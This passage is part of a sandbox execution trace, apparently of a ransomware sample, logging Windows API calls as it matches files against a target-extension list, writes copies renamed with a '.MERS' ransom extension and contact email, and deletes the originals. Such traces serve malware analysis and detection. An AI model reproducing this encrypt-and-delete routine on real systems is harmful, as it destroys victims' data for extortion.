Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.488] lstrlenW (lpString=".doc") returned 4 [0051.488] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString=".docx") returned 5 [0051.488] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0051.488] lstrlenW (lpString=".pdf") returned 4 [0051.488] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString=".xls") returned 4 [0051.488] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString=".xlsx") returned 5 [0051.488] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0051.488] lstrlenW (lpString=".ppt") returned 4 [0051.488] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.488] lstrlenW (lpString=".zip") returned 4 [0051.488] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString=".rar") returned 4 [0051.488] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString=".bz2") returned 4 [0051.488] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.488] lstrlenW (lpString=".7z") returned 3 [0051.488] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.488] lstrlenW (lpString=".dbf") returned 4 [0051.488] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.488] lstrlenW (lpString=".1cd") returned 4 [0051.488] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.489] lstrlenW (lpString=".jpg") returned 4 [0051.489] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.489] lstrlenW (lpString=".doc") returned 4 [0051.489] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString=".docx") returned 5 [0051.489] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0051.489] lstrlenW (lpString=".pdf") returned 4 [0051.489] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString=".xls") returned 4 [0051.489] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString=".xlsx") returned 5 [0051.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0051.489] lstrlenW (lpString=".ppt") returned 4 [0051.489] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.489] lstrlenW (lpString=".zip") returned 4 [0051.489] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString=".rar") returned 4 [0051.489] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.489] lstrlenW (lpString=".bz2") returned 4 [0051.489] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.489] lstrlenW (lpString=".7z") returned 3 [0051.489] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.489] lstrlenW (lpString=".dbf") returned 4 [0051.490] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.490] lstrlenW (lpString=".1cd") returned 4 [0051.490] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.490] lstrlenW (lpString=".jpg") returned 4 [0051.490] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.490] lstrcmpiW (lpString1=".config", lpString2=".MERS") returned -1 [0051.490] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0051.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.492] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=716) returned 1 [0051.492] CloseHandle (hObject=0x1fc) returned 1 [0051.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0051.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.493] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.493] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.493] GetLastError () returned 0x0 [0051.493] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0051.824] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0051.825] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.825] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0051.825] SetEndOfFile (hFile=0x210) returned 1 [0051.825] CloseHandle (hObject=0x210) returned 1 [0051.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.825] SetEndOfFile (hFile=0x1fc) returned 1 [0051.826] CloseHandle (hObject=0x1fc) returned 1 [0051.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.826] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0051.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.827] lstrlenW (lpString=".doc") returned 4 [0051.827] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".docx") returned 5 [0051.827] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0051.827] lstrlenW (lpString=".pdf") returned 4 [0051.827] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".xls") returned 4 [0051.827] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".xlsx") returned 5 [0051.827] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0051.827] lstrlenW (lpString=".ppt") returned 4 [0051.827] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.827] lstrlenW (lpString=".zip") returned 4 [0051.827] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".rar") returned 4 [0051.827] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".bz2") returned 4 [0051.827] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0051.827] lstrlenW (lpString=".7z") returned 3 [0051.827] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString=".dbf") returned 4 [0051.828] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString=".1cd") returned 4 [0051.828] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString=".jpg") returned 4 [0051.828] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString=".doc") returned 4 [0051.828] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString=".docx") returned 5 [0051.828] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0051.828] lstrlenW (lpString=".pdf") returned 4 [0051.828] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString=".xls") returned 4 [0051.828] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString=".xlsx") returned 5 [0051.828] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0051.828] lstrlenW (lpString=".ppt") returned 4 [0051.828] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.828] lstrlenW (lpString=".zip") returned 4 [0051.828] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0051.828] lstrlenW (lpString=".rar") returned 4 [0051.828] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0051.829] lstrlenW (lpString=".bz2") returned 4 [0051.829] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0051.829] lstrlenW (lpString=".7z") returned 3 [0051.829] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.829] lstrlenW (lpString=".dbf") returned 4 [0051.829] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.829] lstrlenW (lpString=".1cd") returned 4 [0051.829] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0051.829] lstrlenW (lpString=".jpg") returned 4 [0051.829] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0051.829] lstrcmpiW (lpString1=".MSG", lpString2=".MERS") returned 1 [0051.829] lstrlenW (lpString="FPEXT.MSG") returned 9 [0051.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.830] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=169637) returned 1 [0051.830] CloseHandle (hObject=0x1fc) returned 1 [0051.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0051.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.830] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.830] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.831] GetLastError () returned 0x0 [0051.831] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0051.875] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0051.878] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.878] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.878] SetEndOfFile (hFile=0x210) returned 1 [0051.879] CloseHandle (hObject=0x210) returned 1 [0051.879] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.879] SetEndOfFile (hFile=0x1fc) returned 1 [0051.881] CloseHandle (hObject=0x1fc) returned 1 [0051.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.881] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0051.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.882] lstrlenW (lpString=".doc") returned 4 [0051.882] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0051.882] lstrlenW (lpString=".docx") returned 5 [0051.882] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0051.882] lstrlenW (lpString=".pdf") returned 4 [0051.882] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0051.882] lstrlenW (lpString=".xls") returned 4 [0051.882] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0051.882] lstrlenW (lpString=".xlsx") returned 5 [0051.882] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0051.882] lstrlenW (lpString=".ppt") returned 4 [0051.882] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0051.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.882] lstrlenW (lpString=".zip") returned 4 [0051.882] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0051.882] lstrlenW (lpString=".rar") returned 4 [0051.882] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0051.882] lstrlenW (lpString=".bz2") returned 4 [0051.882] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0051.882] lstrlenW (lpString=".7z") returned 3 [0051.882] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0051.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.882] lstrlenW (lpString=".dbf") returned 4 [0051.882] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0051.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.882] lstrlenW (lpString=".1cd") returned 4 [0051.882] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0051.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.882] lstrlenW (lpString=".jpg") returned 4 [0051.882] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0051.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.883] lstrlenW (lpString=".doc") returned 4 [0051.883] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0051.883] lstrlenW (lpString=".docx") returned 5 [0051.883] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0051.883] lstrlenW (lpString=".pdf") returned 4 [0051.883] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0051.883] lstrlenW (lpString=".xls") returned 4 [0051.883] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0051.883] lstrlenW (lpString=".xlsx") returned 5 [0051.883] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0051.883] lstrlenW (lpString=".ppt") returned 4 [0051.883] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0051.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.883] lstrlenW (lpString=".zip") returned 4 [0051.883] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0051.883] lstrlenW (lpString=".rar") returned 4 [0051.883] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0051.883] lstrlenW (lpString=".bz2") returned 4 [0051.883] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0051.883] lstrlenW (lpString=".7z") returned 3 [0051.883] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0051.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.883] lstrlenW (lpString=".dbf") returned 4 [0051.883] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0051.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.883] lstrlenW (lpString=".1cd") returned 4 [0051.884] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0051.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0051.884] lstrlenW (lpString=".jpg") returned 4 [0051.884] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0051.884] lstrcmpiW (lpString1=".inc", lpString2=".MERS") returned -1 [0051.884] lstrlenW (lpString="adovbs.inc") returned 10 [0051.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.890] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=14951) returned 1 [0051.890] CloseHandle (hObject=0x1fc) returned 1 [0051.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0051.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.890] lstrlenW (lpString=".doc") returned 4 [0051.890] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.890] lstrlenW (lpString=".docx") returned 5 [0051.890] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.890] lstrlenW (lpString=".pdf") returned 4 [0051.890] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.891] lstrlenW (lpString=".xls") returned 4 [0051.891] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.891] lstrlenW (lpString=".xlsx") returned 5 [0051.891] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.891] lstrlenW (lpString=".ppt") returned 4 [0051.891] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.891] lstrlenW (lpString=".zip") returned 4 [0051.891] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.891] lstrlenW (lpString=".rar") returned 4 [0051.891] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.891] lstrlenW (lpString=".bz2") returned 4 [0051.891] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.891] lstrlenW (lpString=".7z") returned 3 [0051.891] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.891] lstrlenW (lpString=".dbf") returned 4 [0051.891] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.891] lstrlenW (lpString=".1cd") returned 4 [0051.891] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0051.891] lstrlenW (lpString=".jpg") returned 4 [0051.891] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 Thread: id = 16 os_tid = 0xa10 [0033.674] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x38906a0 [0033.674] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x38a06a8 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404c0 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430e0 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404d8 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3c70020 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404f0 [0033.675] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6404f0, Size=0x20) returned 0x66f610 [0033.675] RtlAllocateHeap (HeapHandle=0x5f0000, 